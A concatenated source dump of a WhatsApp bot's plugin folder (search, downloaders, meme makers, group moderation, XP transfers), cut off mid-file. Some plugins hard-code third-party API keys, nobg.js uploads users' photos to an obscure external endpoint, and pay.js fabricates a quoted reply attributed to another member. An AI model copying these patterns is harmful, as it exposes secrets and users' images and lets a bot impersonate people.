(m, { conn, command, args }) => { 4 | let full = /f$/i.test(command) 5 | let text = args.join` ` 6 | if (!text) return conn.reply(m.chat, 'No text to search', m) 7 | let url = 'https://google.com/search?q=' + encodeURIComponent(text) 8 | let search = await googleIt({ query: text }) 9 | let msg = search.map(({ title, link, snippet}) => { 10 | return `*${title}*\n_${link}_\n_${snippet}_` 11 | }).join`\n\n` 12 | try { 13 | let ss = await (await fetch(global.API('nrtm', '/api/ssweb', { delay: 1000, url, full }))).buffer() 14 | if (ss.includes('html')) throw '' 15 | await conn.sendFile(m.chat, ss, 'screenshot.png', url + '\n\n' + msg, m) 16 | } catch (e) { 17 | m.reply(msg) 18 | } 19 | } 20 | handler.help = ['google/googlef'].map(v => v + ' ') 21 | handler.tags = ['internet'] 22 | handler.command = /^googlef?$/i 23 | handler.owner = false 24 | handler.mods = false 25 | handler.premium = false 26 | handler.group = false 27 | handler.private = false 28 | 29 | handler.admin = false 30 | handler.botAdmin = false 31 | 32 | handler.fail = null 33 | 34 | module.exports = handler 35 | 36 | -------------------------------------------------------------------------------- /plugins/grouplist.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let txt = conn.chats.all().filter(v => v.jid.endsWith('g.us')).map(v =>`${conn.getName(v.jid)}\n${v.jid} [${v.read_only ? 'Left' : 'Joined'}]`).join`\n\n` 3 | conn.reply(m.chat, 'List Groups:\n' + txt, m) 4 | } 5 | handler.help = ['groups/grouplist'] 6 | handler.tags = ['owner'] 7 | handler.command = /^(group(s|list))$/i 8 | handler.owner = true 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = false 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = false 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | 21 | -------------------------------------------------------------------------------- /plugins/hornycard.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 3 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/horny', { 4 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 5 | }), 'hornycard.png', 'horny:>', m) 6 | } 7 | 8 | handler.help = ['hornycard/hornylicense'] 9 | handler.tags = ['maker'] 10 | 11 | handler.command = /^(horny(card|license))$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/husbu.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn }) => { 3 | let res = await fetch('https://api.xteam.xyz/randomimage/husbu?APIKEY=MahliKey') 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (!json.url) throw 'Error!' 7 | conn.sendFile(m.chat, json.url, '', 'husboo', m, 0, { thumbnail: Buffer.alloc(0) }) 8 | } 9 | handler.help = ['husbu'] 10 | handler.tags = ['anime'] 11 | handler.command = /^(husbu)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/idfreefire.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { args }) => { 3 | let res = await fetch(global.API('xteam', '/search/freefire', {id: args[0]}, 'APIKEY')) 4 | let json = await res.json() 5 | if (json.result.name) m.reply(`\nName : ${json.result.name}\nID : ${args[0]}\n`) 6 | else throw `Error!\n\n${json}` 7 | } 8 | handler.help = ['freefire/epep'].map(v => v + ' ') 9 | handler.tags = ['internet'] 10 | handler.command = /^(freefire|epep)$/i 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/ighightlight.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm... where is the url?' 4 | let res = await fetch(global.API('xteam', '/dl/ighighlight', { 5 | nama: args[0] 6 | }, 'APIKEY')) 7 | let json = await res.json() 8 | if (json.result.error) throw json.result.message 9 | let { username, items } = json.result 10 | for (let { thumbnail, isVideo, url } of items) { 11 | thumbnail = await (await fetch(thumbnail)).buffer() 12 | conn.sendFile(m.chat, url, 'ig' + (isVideo ? '.mp4' : '.jpg'), `@${username}`, m, false, { 13 | thumbnail 14 | }) 15 | } 16 | } 17 | handler.help = ['ighighlight'].map(v => v + ' ') 18 | handler.tags = ['downloader'] 19 | 20 | handler.command = /^(ighighlight?)$/i 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/igstory.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm... where is the url??' 4 | let res = await fetch(global.API('xteam', '/dl/igs', { 5 | nama: args[0] 6 | }, 'APIKEY')) 7 | let json = await res.json() 8 | if (res.status != 200) throw json 9 | if (json.result.error) throw json.result.message 10 | let { username, storylist } = json.result 11 | let dateConfig = { 12 | hour: 'numeric', 13 | minute: 'numeric', 14 | second: 'numeric', 15 | day: 'numeric', 16 | month: 'long', 17 | year: 'numeric' 18 | } 19 | for (let { url, type, taken_at } of storylist) 20 | conn.sendFile(m.chat, url, 'ig' + (type == 'video' ? '.mp4' : '.jpg'), ` 21 | @${username} 22 | Memposting pada ${new Date(taken_at * 1000).toLocaleDateString('id', dateConfig)} 23 | `, m) 24 | throw json.result 25 | } 26 | handler.help = ['igstory'].map(v => v + ' ') 27 | handler.tags = ['downloader'] 28 | 29 | handler.command = /^(igs(tory)?)$/i 30 | 31 | module.exports = handler 32 | -------------------------------------------------------------------------------- /plugins/img2braille.js: -------------------------------------------------------------------------------- 1 | let { promises: fs } = require('fs') 2 | let { join } = require('path') 3 | const tmp = join(__dirname, '../tmp') 4 | async function handler(m) { 5 | let { braillefy } = require('img2braille') 6 | 7 | let q = m.quoted ? m.quoted : m 8 | if (!/^image/.test(q.mimetype)) throw 'Not an Image!' 9 | let filename = join(tmp, + new Date + '.png') 10 | await fs.writeFile(filename, await q.download()) 11 | m.reply(await braillefy(filename, 30, { 12 | invert: false, 13 | dither: true 14 | })) 15 | await fs.unlink(filename) 16 | } 17 | handler.command = handler.help = ['tobraille'] 18 | handler.tags = ['tools'] 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/infoCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(async function handler(m, { conn, text }) { 2 | let hash = text 3 | if (m.quoted && m.quoted.fileSha256) hash = m.quoted.fileSha256.toString('hex') 4 | if (!hash) throw 'Hash not found' 5 | let sticker = global.db.data.sticker[hash] 6 | if (sticker) return m.reply(` 7 | *fileSha256:* ${hash} 8 | *Text:* ${sticker.text} 9 | *Time Create:* ${sticker.at} 10 | *Locked:* ${sticker.locked ? 'Yes' : 'No'} 11 | *Creator Name:* ${conn.getName(sticker.creator)} 12 | *Creator Number:* ${splitM(sticker.creator)} 13 | *Creator Jid:* ${sticker.creator} 14 | 15 | 16 | ${sticker.mentionedJid.length > 0 ? `*Cmd Mention:* 17 | 18 | ${sticker.mentionedJid.map((v, i) => `No. *${i + 1}*:\n*Mention Name:* ${conn.getName(v)}\n*Mention Number:* ${splitM(v)}\n*Mention Jid:* ${v}`).join('\n\n')}` : ''} 19 | `.trim()) 20 | else m.reply('Sticker Not in the database') 21 | }, { 22 | help: ['cmd'].map(v => 'info' + v + ' '), 23 | tags: ['database'], 24 | command: ['infocmd'] 25 | }) 26 | 27 | /** 28 | * split Jid 29 | * @param {String} jid 30 | * @returns String 31 | */ 32 | function splitM(jid) { 33 | return jid.split('@')[0] 34 | } -------------------------------------------------------------------------------- /plugins/itssostupid.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let text = args.slice(1).join(' ') 3 | let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 4 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/its-so-stupid', { 5 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 6 | dog: text || 'im+stupid' 7 | }), 'iss.png', '@hehe', m) 8 | } 9 | 10 | handler.help = ['itssostupid/iss/stupid'] 11 | handler.tags = ['maker'] 12 | 13 | handler.command = /^(itssostupid|iss|stupid)$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/jadian.js: -------------------------------------------------------------------------------- 1 | let R = Math.random 2 | let Fl = Math.floor 3 | let toM = a => '@' + a.split('@')[0] 4 | function handler(m, { groupMetadata }) { 5 | let ps = groupMetadata.participants.map(v => v.jid) 6 | let a = ps[Fl(R() * ps.length)] 7 | let b 8 | do b = ps[Fl(R() * ps.length)] 9 | while (b === a) 10 | m.reply(`${toM(a)} ❤️ ${toM(b)}`, null, { 11 | contextInfo: { 12 | mentionedJid: [a, b] 13 | } 14 | }) 15 | } 16 | handler.help = ['invented'] 17 | handler.tags = ['main'] 18 | handler.command = ['invented'] 19 | handler.group = true 20 | handler.limit = true 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/join.js: -------------------------------------------------------------------------------- 1 | let linkRegex = /chat.whatsapp.com\/([0-9A-Za-z]{20,24})/i 2 | 3 | let handler = async (m, { conn, text }) => { 4 | let [_, code] = text.match(linkRegex) || [] 5 | if (!code) throw 'Link invalid' 6 | let res = await conn.acceptInvite(code) 7 | m.reply(`Successfully joined the group ${res.gid}`) 8 | } 9 | handler.help = ['join '] 10 | handler.tags = ['premium'] 11 | 12 | handler.command = /^join$/i 13 | 14 | handler.premium = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/kbbi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw `Uhm.. where's the text?` 4 | let res = await fetch(global.API('xteam', '/kbbi', { kata: text }, 'APIKEY')) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | if (!json.status) throw json 8 | let list = json.message.list.map((v, i) => `${i + 1}. ${v}`).join('\n') 9 | m.reply(`${json.message.word} 10 | 11 | ${list} 12 | `.trim()) 13 | } 14 | handler.help = ['kbbi '] 15 | handler.tags = ['internet'] 16 | handler.command = /^kbbi$/i 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/kick.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | if (m.quoted) { 3 | await conn.groupRemove(m.chat, [m.quoted.sender]) 4 | conn.reply(conn.user.jid, `@${m.sender.split`@`[0]} remove @${m.quoted.sender.split`@`[0]}`, m) 5 | } 6 | let ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net' 7 | let users = m.mentionedJid.filter(u => !(u == ownerGroup || u.includes(conn.user.jid))) 8 | for (let user of users) if (user.endsWith('@s.whatsapp.net')) await conn.groupRemove(m.chat, [user]) 9 | } 10 | handler.help = ['remove'].map(v => v + ' @user') 11 | handler.tags = ['admin'] 12 | handler.command = /^(remove|\-)$/i 13 | 14 | handler.group = true 15 | handler.botAdmin = true 16 | 17 | handler.limit = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/levelup.js: -------------------------------------------------------------------------------- 1 | let levelling = require('../lib/levelling') 2 | 3 | let handler = m => { 4 | let user = global.db.data.users[m.sender] 5 | if (!levelling.canLevelUp(user.level, user.exp, global.multiplier)) { 6 | let { min, xp, max } = levelling.xpRange(user.level, global.multiplier) 7 | throw ` 8 | Level *${user.level} (${user.exp - min}/${xp})* 9 | Not enough *${max - user.exp}* again! 10 | `.trim() 11 | } 12 | let before = user.level * 1 13 | while (levelling.canLevelUp(user.level, user.exp, global.multiplier)) user.level++ 14 | if (before !== user.level) { 15 | m.reply(` 16 | 🎊 Congratulations, you have leveled up! 17 | *${before}* -> *${user.level}* 18 | use *.profile* to check 19 | `.trim()) 20 | } 21 | } 22 | 23 | handler.help = ['levelup'] 24 | handler.tags = ['xp'] 25 | 26 | handler.command = /^level(|up)$/i 27 | 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /plugins/limit.js: -------------------------------------------------------------------------------- 1 | let handler = async (m) => { 2 | let who 3 | if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender 4 | else who = m.sender 5 | m.reply(`${global.db.data.users[who].limit} Limit Left ಥ_ಥ`) 6 | } 7 | handler.help = ['limit [@user]'] 8 | handler.tags = ['xp'] 9 | handler.command = /^(limit)$/i 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/link.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let group = m.chat 3 | if (/^[0-9]{5,16}-[0-9]+@g\.us$/.test(args[0])) group = args[0] 4 | if (!/^[0-9]{5,16}-[0-9]+@g\.us$/.test(group)) throw 'Can only be opened in groups' 5 | let groupMetadata = await conn.groupMetadata(group) 6 | if (!groupMetadata) throw 'groupMetadata is undefined :\\' 7 | if (!'participants' in groupMetadata) throw 'participants is not defined :(' 8 | let me = groupMetadata.participants.find(user => user.jid === conn.user.jid) 9 | if (!me) throw 'I am not in that group :(' 10 | if (me.isAdmin !== true) throw 'I am not an admin T_T' 11 | m.reply('https://chat.whatsapp.com/' + await conn.groupInviteCode(group)) 12 | } 13 | handler.help = ['linkgroup'] 14 | handler.tags = ['group'] 15 | handler.command = /^link(gro?up)?$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | 27 | module.exports = handler 28 | 29 | -------------------------------------------------------------------------------- /plugins/listCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(m => global.db.data.sticker ? m.reply(` 2 | *LIST HASH* 3 | Info: *bold* hash is Locked 4 | 5 | \`\`\` 6 | ${Object.entries(global.db.data.sticker).map(([key, value], index) => `${index + 1}. ${value.locked ? `*${key}*` : key} : ${value.text}`).join('\n')} 7 | \`\`\` 8 | `.trim(), null, { 9 | contextInfo: { 10 | mentionedJid: Object.values(global.db.data.sticker).map(x => x.mentionedJid).reduce((a,b) => [...a, ...b], []) 11 | } 12 | }) : m.reply('Nothing 🤷🏻‍♂️'), { 13 | help: ['cmd'].map(v => 'list' + v + ' '), 14 | tags: ['database'], 15 | command: ['listcmd'] 16 | }) 17 | -------------------------------------------------------------------------------- /plugins/listjadibot.js: -------------------------------------------------------------------------------- 1 | async function handler(m, { usedPrefix }) { 2 | let users = [...new Set([...global.conns.filter(conn => conn.user && conn.state !== 'close').map(conn => conn.user)])] 3 | m.reply(users.map(v => 'wa.me/' + v.jid.replace(/[^0-9]/g, '') + `?text=${usedPrefix}menu (${v.name})`).join('\n')) 4 | } 5 | handler.command = handler.help = ['listgetbot'] 6 | handler.tags = ['jadibot'] 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/listprem.js: -------------------------------------------------------------------------------- 1 | /* 2 | Silahkan Di Pakek 3 | Tapi Bantu Rapihin :v 4 | Buatan: Miaweers 5 | */ 6 | 7 | let handler = async (m, { conn }) => { 8 | let prem = global.prems.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid) 9 | conn.reply(m.chat, `「 List Premium 」` + `\n` + prem.map(v => '- @' + v.replace(/@.+/, '')).join`\n`, m, { contextInfo: { mentionedJid: prem } }) 10 | } 11 | handler.help = ['premlist'] 12 | handler.tags = ['owner'] 13 | handler.command = /^(listprem|premlist)$/i 14 | handler.owner = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/lockCmdWithMedia.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.assign(async function handler(m, { command }) { 2 | if (!m.quoted) throw 'Reply Message!' 3 | if (!m.quoted.fileSha256) throw 'SHA256 Hash Missing' 4 | let sticker = global.db.data.sticker 5 | let hash = m.quoted.fileSha256.toString('hex') 6 | if (!(hash in sticker)) throw 'Hash not found in database' 7 | sticker[hash].locked = !/^un/i.test(command) 8 | m.reply('Done!') 9 | }, { 10 | rowner: true, 11 | help: ['un', ''].map(v => v + 'lockcmd'), 12 | tags: ['database'], 13 | command: /^(un)?lockcmd$/i 14 | }) 15 | -------------------------------------------------------------------------------- /plugins/lolice.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 3 | conn.sendFile(m.chat, global.API('https://some-random-api.ml', '/canvas/lolice', { 4 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 5 | }), 'lolice.png', 'liuliuliuliuliu we heard that there is a lolicon here', m) 6 | } 7 | 8 | handler.help = ['lolice'] 9 | handler.tags = ['maker'] 10 | 11 | handler.command = /^(lolice)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/lyrics.js: -------------------------------------------------------------------------------- 1 | // Pngocok handal 2 | 3 | let fetch = require('node-fetch') 4 | let handler = async (m, { text }) => { 5 | let res = await fetch(global.API('https://some-random-api.ml', '/lyrics', { 6 | title: text 7 | })) 8 | if (!res.ok) throw await res.text() 9 | let json = await res.json() 10 | if (!json.thumbnail.genius) throw json 11 | conn.sendFile(m.chat, json.thumbnail.genius, '', ` 12 | *${json.title}* 13 | _${json.author}_\n 14 | ${json.lyrics}\n\n 15 | ${json.links.genius} 16 | `, m) 17 | } 18 | handler.help = ['lyric'].map(v => v + ' ') 19 | handler.tags = ['internet'] 20 | handler.command = /^(lirik|lyrics|lyric)$/i 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/magernulis.js: -------------------------------------------------------------------------------- 1 | // Magernulis By MFarelS:V 2 | // Code by DrawlNag 3 | // Recode by Nurutomo :V 4 | let handler = async (m, { command, conn, text }) => { 5 | let id = (command.match(/[1-6]$/) || [])[0] || '' 6 | await conn.sendFile(m.chat, global.API('xteam', '/magernulis' + id, { 7 | text, 8 | nama: conn.getName(m.sender), 9 | kelas: ' ' 10 | }, 'APIKEY'), 'nulis.jpg', 'Nahh it\'s done...', m) 11 | } 12 | handler.help = new Array(6).fill('lazywrite').map((v, i) => v + (i + 1) + ' ') 13 | handler.tags = ['nulis'] 14 | 15 | handler.command = /^lazywrite[1-6]?$/i 16 | 17 | handler.limit = true 18 | 19 | module.exports = handler 20 | -------------------------------------------------------------------------------- /plugins/mangainfo.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text }) => { 3 | if (!text) throw `Enter the query!` 4 | let res = await fetch(global.API('https://api.jikan.moe', '/v3/search/manga', { q: text })) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | let { title, synopsis, chapters, url, volumes, score, image_url } = json.results[0] 8 | let mangaingfo = `*Title:* ${title} 9 | *Chapters:* ${chapters} 10 | *Volumes:* ${volumes} 11 | *Score:* ${score} 12 | *Synopsis:* ${synopsis} 13 | *Link*: ${url}` 14 | conn.sendFile(m.chat, image_url, '', mangaingfo, m) 15 | } 16 | handler.help = ['manga '] 17 | handler.tags = ['anime'] 18 | handler.command = /^(manga)$/i 19 | //udah di maapin kan? 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/math_answer.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | if (!/^-?[0-9]+(\.[0-9]+)?$/.test(m.text)) return !0 4 | let id = m.chat 5 | if (!m.quoted || m.quoted.sender != this.user.jid || !/^What is the result of/i.test(m.quoted.text)) return !0 6 | this.math = this.math ? this.math : {} 7 | if (!(id in this.math)) return m.reply('The matter has ended') 8 | if (m.quoted.id == this.math[id][0].id) { 9 | let math = JSON.parse(JSON.stringify(this.math[id][1])) 10 | if (m.text == math.result) { 11 | global.db.data.users[m.sender].exp += math.bonus 12 | clearTimeout(this.math[id][3]) 13 | delete this.math[id] 14 | m.reply(`*Correct answer!*\n+${math.bonus} XP`) 15 | } else { 16 | if (--this.math[id][2] == 0) { 17 | clearTimeout(this.math[id][3]) 18 | delete this.math[id] 19 | m.reply(`*Opportunity is running out!*\nAnswer: *${math.result}*`) 20 | } else m.reply(`*Wrong answer!*\nThere still is ${this.math[id][2]} chance`) 21 | } 22 | } 23 | return !0 24 | } 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/megumin.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn }) => { 3 | let res = await fetch('https://api.waifu.pics/sfw/megumin') 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (!json.url) throw 'Error!' 7 | conn.sendFile(m.chat, json.url, '', '@Daeho', m) 8 | } 9 | handler.help = ['megumin'] 10 | handler.tags = ['anime'] 11 | handler.command = /^(megumin)$/i 12 | //ftwrr 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/meme.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | let handler = async (m, { conn }) => { 3 | let res = await fetch(global.API('https://some-random-api.ml', '/meme')) 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (!json.image) throw 'Err!' 7 | conn.sendFile(m.chat, json.image, 'meme.png', json.caption, m) 8 | } 9 | 10 | handler.help = ['meme'] 11 | handler.tags = ['internet'] 12 | 13 | handler.command = /^(meme)$/i 14 | 15 | handler.group = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/memeg.js: -------------------------------------------------------------------------------- 1 | const uploadFile = require('../lib/uploadFile') 2 | const uploadImage = require('../lib/uploadImage') 3 | let handler = async (m, { conn, text }) => { 4 | let [t1, t2] = text.split`|` 5 | if (!t1) throw 'No Text' 6 | if (!t2) { 7 | t2 = t1 8 | t1 = '' 9 | } 10 | let q = m.quoted ? m.quoted : m 11 | let mime = (q.msg || q).mimetype || '' 12 | if (!mime) throw `caption/reply to a photo` 13 | if (!/image\/(jpe?g|png)/.test(mime)) throw `meme ${mime} not supported` 14 | let img = await q.download() 15 | let link = await uploadImage(img).catch(e => uploadFile(img)) 16 | conn.sendFile(m.chat, global.API('https://api.memegen.link', `/images/custom/${encodeURIComponent(t1)}/${encodeURIComponent(t2)}.png`, { 17 | background: link 18 | }), 'meme.png', `Here :|`, m) 19 | } 20 | handler.help = ['memeg'].map(v => v + '<text|text>') 21 | handler.tags = ['tools'] 22 | handler.command = /^(memeg)$/i 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/mention.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'No text' 3 | m.reply(text, false, { 4 | contextInfo: { 5 | mentionedJid: conn.parseMention(text) 6 | } 7 | }) 8 | } 9 | handler.help = ['mention <teks>'] 10 | handler.tags = ['tools'] 11 | 12 | handler.command = /^mention$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/neko.js: -------------------------------------------------------------------------------- 1 | // xie hua piao piao batman membuka kulkas dan mngambil semangka lalu memberikan mayo di atas semangka 2 | 3 | let fetch = require('node-fetch') 4 | let handler = async(m, { conn }) => { 5 | let res = await fetch('https://api.waifu.pics/sfw/neko') 6 | if (!res.ok) throw await res.text() 7 | let json = await res.json() 8 | if (!json.url) throw 'Error!' 9 | conn.sendFile(m.chat, json.url, '', 'Nyaa', m) 10 | } 11 | handler.help = ['neko'] 12 | handler.tags = ['anime'] 13 | handler.command = /^neko$/i 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/nobg.js: -------------------------------------------------------------------------------- 1 | const axios = require("axios"); 2 | 3 | let handler = async (m, { conn, usedPrefix, command }) => { 4 | let q = m.quoted ? m.quoted : m; 5 | let mime = (q.msg || q).mimetype || ""; 6 | if (/image/.test(mime)) { 7 | let img = await q.download(); 8 | let imgbase64 = img.toString("base64"); 9 | let data = await axios.post( 10 | "https://salisganteng.pythonanywhere.com/api/remove-bg", 11 | { 12 | "api-key": "salisheker", 13 | image: imgbase64, 14 | } 15 | ); 16 | await conn.sendFile(m.chat, data.data.image, "", "background removed!", m, false); 17 | } else throw `reply photo with command ${usedPrefix + command}`; 18 | }; 19 | handler.help = ["removebg", "nobg"]; 20 | handler.tags = ["tools"]; 21 | handler.command = /^(nobg|removebg)$/i; 22 | 23 | module.exports = handler; 24 | -------------------------------------------------------------------------------- /plugins/odemote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupDemoteAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['demote/omember/o↓'].map(v => v + ' @user') 7 | handler.tags = ['owner'] 8 | 9 | handler.command = /^(odemote|omember|o↓)$/i 10 | 11 | handler.owner = true 12 | handler.group = true 13 | 14 | handler.admin = true 15 | handler.botAdmin = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/okick.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net' 3 | let users = m.mentionedJid.filter(u => !(u == ownerGroup || u.includes(conn.user.jid))) 4 | for (let user of users) if (user.endsWith('@s.whatsapp.net')) await conn.groupRemove(m.chat, [user]) 5 | } 6 | handler.help = ['kick/o-'].map(v => 'o' + v + ' @user') 7 | handler.tags = ['owner'] 8 | handler.command = /^(okick|o\-)$/i 9 | handler.owner = true 10 | handler.mods = false 11 | handler.premium = false 12 | handler.group = true 13 | handler.private = false 14 | 15 | handler.admin = false 16 | handler.botAdmin = true 17 | 18 | handler.fail = null 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/online.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let id = args && /\d+\-\d+@g.us/.test(args[0]) ? args[0] : m.chat 3 | let online = [...Object.keys(conn.chats.get(id).presences), conn.user.jid] 4 | conn.reply(m.chat, 'List Online:\n' + online.map(v => '- @' + v.replace(/@.+/, '')).join`\n`, m, { 5 | contextInfo: { mentionedJid: online } 6 | }) 7 | } 8 | handler.help = ['here/listonline'] 9 | handler.tags = ['group'] 10 | handler.command = /^(here|(list)?online)$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = true 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/opengumuman.js: -------------------------------------------------------------------------------- 1 | const { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, participants }) => { 4 | let users = participants.map(u => u.jid) 5 | let q = m.quoted ? m.quoted : m 6 | let c = m.quoted ? m.quoted : m.msg 7 | let msg = conn.cMod( 8 | m.chat, 9 | conn.prepareMessageFromContent( 10 | m.chat, 11 | { [c.toJSON ? q.mtype : MessageType.extendedText]: c.toJSON ? c.toJSON() : { 12 | text: c || '' 13 | } }, 14 | { 15 | contextInfo: { 16 | mentionedJid: users 17 | }, 18 | quoted: false 19 | } 20 | ), 21 | text || q.text 22 | ) 23 | await conn.relayWAMessage(msg) 24 | } 25 | handler.help = ['hidetag/oannounce'].map(v => 'o' + v + ' [teks]') 26 | handler.tags = ['group'] 27 | handler.command = /^o(pengumuman|announce|hiddentag|hidetag)$/i 28 | 29 | handler.owner = true 30 | handler.group = true 31 | 32 | module.exports = handler 33 | -------------------------------------------------------------------------------- /plugins/opromote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => !member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupMakeAdmin(m.chat, [user]).catch(console.log) 5 | } 6 | handler.help = ['promote/oadmin/o^'].map(v => 'o' + v + ' @user') 7 | handler.tags = ['owner'] 8 | 9 | handler.command = /^(opromote|oadmin|o\^)$/i 10 | 11 | handler.owner = true 12 | handler.group = true 13 | 14 | handler.admin = false 15 | handler.botAdmin = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/pay.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let pajak = 0.02 3 | let handler = async (m, { conn, text }) => { 4 | let who 5 | if (m.isGroup) who = m.mentionedJid[0] 6 | else who = m.chat 7 | if (!who) throw 'Tag one' 8 | let txt = text.replace('@' + who.split`@`[0], '').trim() 9 | if (!txt) throw 'Enter the amount of exp to be given' 10 | if (isNaN(txt)) throw 'only numbers' 11 | let xp = parseInt(txt) 12 | let exp = xp 13 | let pjk = Math.ceil(xp * pajak) 14 | exp += pjk 15 | if (exp < 1) throw 'Minimal 1' 16 | let users = global.db.data.users 17 | if (exp > users[m.sender].exp) throw 'Insufficient exp to transfer' 18 | users[m.sender].exp -= exp 19 | users[who].exp += xp 20 | 21 | m.reply(`(${-xp} XP) + (${-pjk} XP (Pajak 2%)) = ( ${-exp} XP)`) 22 | conn.fakeReply(m.chat, `+${xp} XP`, who, m.text) 23 | } 24 | handler.help = ['pay @user <amount>'] 25 | handler.tags = ['xp'] 26 | handler.command = /^pay$/ 27 | handler.rowner = true 28 | 29 | module.exports = handler 30 | 31 | -------------------------------------------------------------------------------- /plugins/paylimit.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = 